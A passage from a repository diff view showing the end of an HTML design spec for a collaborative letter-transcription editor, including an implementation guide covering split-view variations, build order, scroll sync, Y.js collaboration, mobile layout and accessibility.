<tr><td>Done page</td><td>green-tint bg, checkmark, collapsed summary</td><td>Click to expand and re-edit</td></tr>
|
||||
<tr><td>Active page</td><td>blue-tint bg, solid border, "aktiv" label</td><td>Lines below are editable</td></tr>
|
||||
<tr><td>Empty page</td><td>sand bg, dashed border, CTA text</td><td>"Klicke hier, um zu beginnen"</td></tr>
|
||||
<tr class="grp"><td colspan="3">Progress</td></tr>
|
||||
<tr><td>Topbar bar</td><td>60px × 4px, border bg, turquoise fill</td><td>Fraction label: "2/3" in turquoise bold</td></tr>
|
||||
</tbody></table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══ LLM IMPLEMENTATION GUIDE ═══ -->
|
||||
<div class="llm">
|
||||
<h2>Implementation Guide — Side-by-Side Split Variations</h2>
|
||||
|
||||
<h3>1. Variation Comparison</h3>
|
||||
<table>
|
||||
<thead><tr><th>Var.</th><th>Key idea</th><th>Best for</th><th>Complexity</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><strong>V1</strong></td><td>Plain split, synced scroll</td><td>Simplest start, works for all letter types</td><td>Low</td></tr>
|
||||
<tr><td><strong>V2</strong></td><td>+ Minimap + comment gutter</td><td>Long letters, power users who want overview</td><td>Medium</td></tr>
|
||||
<tr><td><strong>V3</strong></td><td>Paragraph blocks with named sections</td><td>Dividing work ("I'll do section 2")</td><td>Medium</td></tr>
|
||||
<tr><td><strong>V4</strong></td><td>+ Inline discussion threads on text</td><td>Debating unclear words/passages collaboratively</td><td>High</td></tr>
|
||||
<tr><td><strong>V5</strong></td><td>Multi-page navigator + per-page progress</td><td>Multi-page letters (2-8 pages), task tracking</td><td>Medium</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>2. Recommended Build Order</h3>
|
||||
<ol>
|
||||
<li><strong>V1</strong> as the foundation — split layout, scroll sync, toolbar, presence, auto-save. This is the MVP.</li>
|
||||
<li><strong>V5</strong> page navigator next — multi-page letters are the common case and V1 alone doesn't address page boundaries well.</li>
|
||||
<li><strong>V4</strong> inline threads — the highest-value UX innovation. Merges transcription and discussion workflows.</li>
|
||||
<li><strong>V2</strong> minimap + gutter — nice-to-have for long documents, can be toggled on/off in user preferences.</li>
|
||||
<li><strong>V3</strong> paragraph blocks — alternative to V1's line-by-line approach. Consider as an opt-in "structured mode" rather than a replacement.</li>
|
||||
</ol>
|
||||
<p>V1 + V5 together form the complete baseline experience. V4 is the most innovative addition.</p>
|
||||
|
||||
<h3>3. Composability</h3>
|
||||
<p>These variations are <strong>not mutually exclusive</strong>. They can be layered:</p>
|
||||
<ul>
|
||||
<li>V1 (base split) + V5 (page nav) = most practical combination for real-world use</li>
|
||||
<li>V1 + V5 + V4 (threads) = full-featured collaborative transcription</li>
|
||||
<li>V1 + V2 (minimap) = power-user mode, togglable via toolbar</li>
|
||||
<li>V3 (paragraph mode) is the only one that fundamentally changes the editor — it replaces V1's line-by-line model with block-level editing. Treat as an alternative mode, not an addition.</li>
|
||||
</ul>
|
||||
|
||||
<h3>4. Shared Technical Foundation (all variations)</h3>
|
||||
<ul>
|
||||
<li><strong>Split container:</strong> New <code>TranscriptionSplitView.svelte</code> component wrapping PDF + editor with a draggable divider. Uses CSS <code>flex</code> with a resizable right panel.</li>
|
||||
<li><strong>State management:</strong> <code>transcribeMode: boolean</code> on the document detail page. When active, replaces the PDF-only view with the split view. Bottom panel tabs remain visible.</li>
|
||||
<li><strong>Scroll sync:</strong> <code>IntersectionObserver</code> on PDF pages + scroll listener on transcript. Normalized position (0-1) maps between both panels. Debounced 50ms.</li>
|
||||
<li><strong>Auto-save:</strong> Debounced 2s <code>PATCH /api/documents/{id}</code> with <code>{ transcription: string }</code>. Save indicator in status bar.</li>
|
||||
<li><strong>Presence:</strong> WebSocket at <code>/ws/transcription/{documentId}</code>. Broadcasts: <code>{ userId, displayName, color, cursorLine, status: "editing"|"viewing" }</code>.</li>
|
||||
<li><strong>Y.js integration:</strong> CRDT for conflict-free concurrent editing. Y.Text document synced via WebSocket provider.</li>
|
||||
</ul>
|
||||
|
||||
<h3>5. Mobile Strategy (all variations)</h3>
|
||||
<p>On screens <768px, the split becomes a <strong>stacked layout</strong>:</p>
|
||||
<ul>
|
||||
<li>PDF as a 100px fixed-height strip at top with pinch-to-zoom</li>
|
||||
<li>Tap PDF strip to expand to 50% viewport height (push transcript down)</li>
|
||||
<li>Transcript fills remaining space</li>
|
||||
<li>Toolbar collapses to icon-only (Edit/Preview icons, presence dots, save indicator)</li>
|
||||
<li>Status bar becomes a single line: save state + active user count</li>
|
||||
</ul>
|
||||
|
||||
<h3>6. Accessibility (all variations)</h3>
|
||||
<ul>
|
||||
<li>Split panels: <code>role="region"</code> with <code>aria-label="PDF Scan"</code> and <code>aria-label="Transkription"</code></li>
|
||||
<li>Resize handle: <code>role="separator"</code> with <code>aria-orientation="vertical"</code>, keyboard-adjustable via arrow keys</li>
|
||||
<li>Transcript lines: minimum 16px font (18px in accessibility preference)</li>
|
||||
<li>All toolbar buttons: <code>aria-label</code> + keyboard shortcut in <code>title</code></li>
|
||||
<li>Save status: <code>aria-live="polite"</code> region</li>
|
||||
<li>Presence changes: <code>aria-live="polite"</code> announcements ("Oma Inge hat begonnen zu bearbeiten")</li>
|
||||
<li>Focus order: toolbar → transcript editor → status bar. PDF panel is separately focusable for zoom/pan.</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
1007
docs/specs/korrespondenz-redesign-spec.html
Normal file
1007
docs/specs/korrespondenz-redesign-spec.html
Normal file
File diff suppressed because it is too large
Load Diff
1403
docs/style-guide.html
Normal file
1403
docs/style-guide.html
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user